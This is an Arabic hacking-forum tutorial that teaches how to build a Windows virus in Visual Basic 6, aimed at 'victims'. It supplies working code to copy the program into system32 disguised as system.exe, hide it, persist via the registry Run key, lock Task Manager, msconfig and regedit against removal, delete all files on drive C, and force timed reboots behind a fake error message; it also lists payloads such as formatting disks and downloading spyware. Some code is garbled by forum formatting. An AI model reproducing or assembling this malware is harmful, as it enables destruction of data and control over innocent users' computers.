ازيكو يا اعضاء جيوش الهاكر الكرام اليوم هنتعلم ازاى نصنع فيروس بشكل احترافى يارب الشرح بتاعى يعجبكو ....
الادوات المطلوبة :
1- فيجول بيسك 6
2- الذكاء والحيل البرمجيه
3- الريجتسري ( يجب ان تعرف كيف تتعامل معه )
ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ــــــــــــــــــ
اولا: الفايروس يعتمد على المراوغه والاختفاء عند تشغيله
وهناك شفرات تقوم بهذه المهمه مثلا
انت تريد عندما يضغط الضحيه على الفايرس تريد ان يختفي وينتقل الي ملف انت تحدده بالشفره البرمجيه
اذا هذا هو الكود
كود PHP:
كود:Name App.Path & "\" & App.EXEName & ".exe" As "c:windowssystem32sysstem.exe
ماذا فهمت من الكود
طبعا نحن استخدمنا app.path وهذه داله تقوم بتحديد مكانالبرنامج (الفايروس) بدون كتابة مساره
يعني لو فرضا كتبنا داله name بهذه الطريقه name c":\virus.exe" as "c:\windows\system32\system.exe"
كدا خطأ لان احتمال الضحيه شغل الفايروس على سطح المكتب او شغله في ملف الوينزوب كدا مش هيشتغل الفايروس
لان نحن كتبنا بالشفره انقل الملف من c:\virus.exe الي c:\windows\system32\system.exe
ولذلك استخدمنا داله app.path تحديد مكان الملف تلقائي بدون كتابة مساره
يعني بهذه الطريقه هيشتغل الفايروس باي مكان في الجهاز وهذا هو المطلوب
داله name هي داله تقوم على نقل الملف الي اي مكان انت تحدده
نحن قمنا بنقل الملف عند الضغط عليه الي دليل الويندوز ثم الي system32 وتغيير اسمه الي system
حتى عندما يراه الضحيه يحسبه ملف تابع للنظام
ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــ
طيب حن الان انتهنا من اول خاصيه للفايروس وهي خاصية التنقل
الان نريد ان نحمي ملف الفايروس من الظهور يعني نريده متخفى غير مرئي
نستخدم داله setattr وهذه الداله تقوم بتغيير في خصائص الملف
vbshow تعني اظهر الملف
vbHidden تجعل الملف مخفي
بالعربي انا اعتبر هذه الخصائص اهم شىء ويوجد هناك خصائص اخرى لكن ماتهمنا
طيب كيف نكتب الداله ونستعمل الخصائص
بعد ماكتبنا الكود الاول وهو كود انتقال الفايروس الي مجلد system32
نكتب كود الاختفاء تحته بالضبط
setattr "c:\windows\system32\system.exe",vbHidden
لو شرحنا الكودان يكونا على النحو التالي
قم بنقل الملف virus.exe من مكان وجوده الي مجلد system32 وغير اسمه الي system.exe
الكود الثاني قم باخفاء الملف اللى موجود في مجلد system32 واللي اسمه system.exe
طبعا الان نحن جعلنا الفايروس يتمتع بخصائص الانتقال والتخفى
على فكره اي ملف يستخدم كود الاختفاء لن يستطيع البحث اللي في جهازك كشفه او اظهاره
لن الويندوز يعطي حرية الملف باالاختفاء وبذلك يعطل خاصية البحث عنه
ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ــــــــــــــــ
الان ناتي الي مهمه الفايروس ماذا نريد ان يعمل الفايروس
هناك عدة امور تخبر بها الفايروس ليقوم بها
1- اعادة تشغيل الجهاز
2- حذف ملفات معينه
3- عمل فورمات للجهاز
4- ايقاف عمل بعض البرامج التي تحمل امتداد exe اوcom او htm او html او gif وهكذا
5- الهجوم على ملفات وتخريبها ( اي تغيير امتدادها حتى لاتعمل ) مثل الهجوم على الصور بامتداد gif وتحويلها الي
امتداد txt او اي امتداد اخر
5- عمل فقط رساله تظهر قبل شاشة الترحيب
6- عمل فايروس يقوم باستخدام الدوس وتشغيل بعض اوامره مثل امر ping لضرب المواقع
7- استخدام الفايروس بتنزيل ملفات تجسس من الانترنت او استدعاء باتش لك من موقعك الخاص وتشغيله في جهاز الضحيه
8- التحكم في بعض برامج النظام وايقافها مثل ايقاف قائمة المهام وغيرها من البرامج المهمه
9- اخفاء محركات الاقراص السي الدي المرن الفلاش مموري
10 - عمل اشياء ازعاجيه مثل فتح مجلدات فتح برامج وهكذا
11- عمل تسجيل خروج من الماسينجر او التلاعب في حالات الاتصال
12- عمل رقم سري للجهاز لمنع الضحيه لدخول لسطح المكتب
13- ارسال الفايروس رساله لنا على بريدنا يخبرنا بتشغيل الضحيه للفايروس مع عرض الاي بي ووقت تشغيله وتاريخه.............
ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــ
ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ــــــــــــــــ،
سوف ابدا الان بعمل شفرات توقف اي برنامج تابع لنظام بايقاف الفايروس
وخلونا نبدأ الان بايقاف قائمة المهام و لن تعمل اذا ضغطت على مفاتيح ctrl+atl+del
اذا دعونا نصنع كود يخلي النظام يظهر رساله بان قائمة المهام مشغوله مع برنامج اخر وبهذا منعنا المستخدم من فتحها
كود:
كود PHP:
Open "C:\WINDOWS\system32\taskmgr.exe" For Input Lock Read As 1
الان نحن منعنا المستخدم من فتح قائمة المهام واذا حاول فتحها سوف تظهر رسالة من النظام تقول هذا البرنامج مستخدم من قبل برنامج اخر
طبعا الكود هذا سوف تضعه في form_load
مع وضع كود يقوم على تشغيل الفايروس في كل مره شغل الضحيه جهازه
وهذا كود تشغيل الفايروس مع تشغيل الجهاز
كود:
كود PHP:
Set O = CreateObject("WScript.Shell")O.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \Cur rentVersion\Run\ProgramName", "c:\WINDOWS\system32\system.exe", "REG_SZ"
اذا دعونا الان نجمع الاكواد اللي عملناه ونضعها في form_load
كود:
كود PHP:
Private Sub Form_Load()Set O = CreateObject("WScript.Shell")O.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \Cur rentVersion\Run\ProgramName", "c:\WINDOWS\system32\system.exe", "REG_SZ"Form1.HideName App.Path & "\" & App.EXEName & ".exe" As "c:WINDOWSsystem32system.exe"SetAttr "c:WINDOWSsystem32system.exe", vbHiddenOpen "C:WINDOWSsystem32taskmgr.exe" For Input Lock Read As 1End Sub
دعونا نشرح عمل الاكواد بالتفصيل
Set O = CreateObject("WScript.Shell")
O.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \Cur r entVersion\Run\ProgramName", "c:\WINDOWS\system32\system.exe", "REG_SZ"
ProgramName = اسم القيمه تستطيع تغيير اسمها مثلا اجعلها system او اي اسم
c:\WINDOWS\system32\system.exe" بيانات القيمه
الكود يقوم على تشغيل الملف اللي اسمه system.exe الذي على المسار التالي
"c:\WINDOWS\system32\system.exe"
طبعا هذا الكود يقوم على انشاء قيمه في مفتاح run اللي في الريجتسري مما يجعل الفايروس يشتغل مع تشغيل الجهاز
الكود الثاني Form1.Hide عارفينه اكيد يقوم على اخفاء الفايروس فلايظهر نافذته
الكود الثالث
Name App.Path & "\" & App.EXEName & ".exe" As "c:\WINDOWS\system32\system.exe"
يقوم بنقل الفايروس الي مجلد system32 ويخلي اسمه system.exe
لازم يتوافق مسار الفايروس مع مساره في بدأ التشغيل حتى يستطيع تشغيل نفسه مع تشغيل الجهاز
الكود الرابع
setattr "c:\windows\system32\system.exe",vbHidden اعطاء خاصية الاخفاء للفايروس
الكود الخامس
Open "C:\WINDOWS\system32\taskmgr.exe" For Input Lock Read As 1
معناه يقوم على فتح قائمة المهام للقراءه ولايقوم على غلقها يعني تظل مفتوحه ومعلقه ومرتبطه مع الفايروس
بحيث لو قام الضحيه بالضغط على مفاتيح ctrl+alt+del مش هتفتح معه
ولو ذهب الي مجلد system32 وقام بالضغط عليه سوف تظهر له رساله من النظام بتقول البرنامج مستخدم من قبل برنامج اخر اي ان الفايرس مستخدمها مدام الجهاز شغال ......
لايقاف قائمة المهام وايقاف برامج اخرى مثل الاداة المساعده التي تقوم على اظهار
الملفات التي تعمل مع بدء تشغيل الجهاز
كود PHP:
[center]لاخفاء الفورم يوجد عدة طرق اضيف :
me.hide
الفيروس عند بدا التشغيل :
كود:
كود بدا التشغيل :في الموديل :Option ExplicitPrivate Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As LongPrivate Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As LongPrivate Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As LongPrivate Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As LongPrivate Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As LongPrivate Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, lpSecurityAttributes As Any, phkResult As Long, lpdwDisposition As Long) As LongPrivate Const READ_CONTROL = &H20000Private Const KEY_QUERY_VALUE = &H1Private Const KEY_SET_VALUE = &H2Private Const KEY_CREATE_SUB_KEY = &H4Private Const KEY_ENUMERATE_SUB_KEYS = &H8Private Const KEY_NOTIFY = &H10Private Const KEY_CREATE_LINK = &H20Private Const KEY_READ = KEY_QUERY_VALUE + KEY_ENUMERATE_SUB_KEYS + KEY_NOTIFY + READ_CONTROLPrivate Const KEY_WRITE = KEY_SET_VALUE + KEY_CREATE_SUB_KEY + READ_CONTROLPrivate Const KEY_EXECUTE = KEY_READPrivate Const KEY_ALL_ACCESS = KEY_QUERY_VALUE + KEY_SET_VALUE + KEY_CREATE_SUB_KEY + KEY_ENUMERATE_SUB_KEYS + KEY_NOTIFY + KEY_CREATE_LINK + READ_CONTROLPrivate Const RunPath = "Software\Microsoft\Windows\CurrentVersion\Run \"Pr ivate Const HKLM = &H80000002' استخدم الامر التالي لالغاء التشغيل التلقائيPublic Sub DoNotRun(ProgramName As String) Dim hKey As Long Dim Ret As Long ' فتح المفتاح المطلوب Ret = RegOpenKeyEx(HKLM, RunPath, 0, KEY_ALL_ACCESS, hKey) ' حذفها من مسجل النظام. Ret = RegDeleteValue(hKey, ProgramName) ' إغلاق المفتاح RegCloseKey hKeyEnd SubPublic Sub RunWhenStartup(ProgramName As String, ProgramPath As String) Dim hKey As Long Dim Ret As Long ' فتح المفتاح المطلوب Ret = RegOpenKeyEx(HKLM, RunPath, 0, KEY_ALL_ACCESS, hKey) ' إنشاء قيمة جديدة بإسم البرنامج وعنوانه. Ret = RegSetValueEx(hKey, ProgramName, 0&, 1, ProgramPath, Len(ProgramPath)) 'LenB(StrConv(TheData, vbFromUnicode)) + 1) ' إغلاق المفتاح RegCloseKey hKeyEnd Sub------------في الفورم :RunWhenStartup "عنوان", App.Path & "" & App.EXEName & ".exe"
و اما عن التدمير :
كود:
كود PHP:
kill "c:\*.*"
و لضمان عمل الفيروس :
كود PHP:
On Error Resume Next
الي الان احنا حمينا الفايروس من قائمة المهام وبهذا حققنا الحمايه رقم واحد
الان نريد حماية الفايروس من اداة بدء التشغيل التي تعرض البرامج التي تعمل مع بداية الويندوز
نعمل لها كود نفس كود قائمة المهام
منع قراءة او فتح برنامج الاداة المساعده ( بدأ التشغيل )
كود:
كود PHP:
Open "C:\WINDOWS\pchealth\helpctr\binaries\msconfig .exe " For Input Lock Read As 1
وبهذا حققنا الحماية رقم اثنين
منع قراءة برنامج الريجستري
كود:
كود PHP:
Open "C:\WINDOWS\regedit.exe" For Input Lock Read As 1
وبهذه ايضا حققنا الحماية الثالثه للفايروس
يشوف اي شخص فاهم للجهاز وطريقة حذف الملفات يتبع عدة طرق
1- قائمة المهام لايقافه
2- بدء الشتغيل لايقاف عمله حتى لايعمل مع بدء التشغيل
3- حذفه من الريجستري يعني حذف القيمه بتاعته
احنا نريد ايقاف عمل الثلاث برامج هذه حتى يبقى الفايروس بأمان
وطبعا الان نحن حقننا ثلاث حمايات للفايروس من برنامج قائمة المهام وبرنامج الاداة المساعده(بدء التشغيل) ومن الريجستري
دلوقتى اتحدى اي شخص يحذف الفايرس
الان ناتي الي اعمال الفايروس نريد نتفنن في اعماله واوامره
يعني بدال من خلي الفايروس يعيد التشغيل كل مافتح الجهاز نخليه يعيد التشغيل في ساعه ودقيقه معينه
يعني مثلا يعيد تشغيل الجهاز كل ما تكون الساعه 1:1 و 2:1 و 3:1 وهكذا
يعني كل ساعه ودقيقه ينشط الفايرس وكل ساعتين ودقيقه ينشط الفايرس وهكذا
طيب الان افتح موديل في الفيجول بيسك وضع فيها هذا الكود
كود:
كود PHP:
Declare Function ExitWindow*** Lib "user32" _(ByVal uFlags As Long, ByVal dwReserved _As Long) As Long
وبعدها ضع عداد تايمر على الفورم وجعله 1000 العداد
الان اكتب الشفره البرمجيه الرائعه
كود:
كود PHP:
Private Sub Timer1_Timer()If Minute(Time) = 1 Thent& = ExitWindow***(EWX_REBOOT, 0)End IfEnd Sub
هذا الكود يقوم على تسجيل خروج من الجهاز يعني لازم تكون الساعه 1:1 يعني لازم الساعه تكون ساعه ودقيقه
ساعتين ودقيقه ثلاث ساعات ودقيقه وهكذا
طبعا قبل تسجيل الخروج بدقيقه تظهر رساله او نافذه تخبر الضحيه بان هناك خلل في ملف معين ولذلك يجب تسجيل الخروج
كود:
كود PHP:
Private Sub Timer2_Timer()If Minute(Time) = 0 ThenMsgBox "ملفات الربط لاتستجيب للنظام سوف يقوم النظام بتسجيل الخروج"End IfEnd Sub
لاحظ جعلنا الدقائق تساوي صفر يعني الرسالة سوف تظهر كل ما تكون الساعه 3:00 و 2:00 وهكذا
يعني قبل تسجيل الخروج بدقيقه تظهر الرساله تخبر الضحيه بوجود خلل .............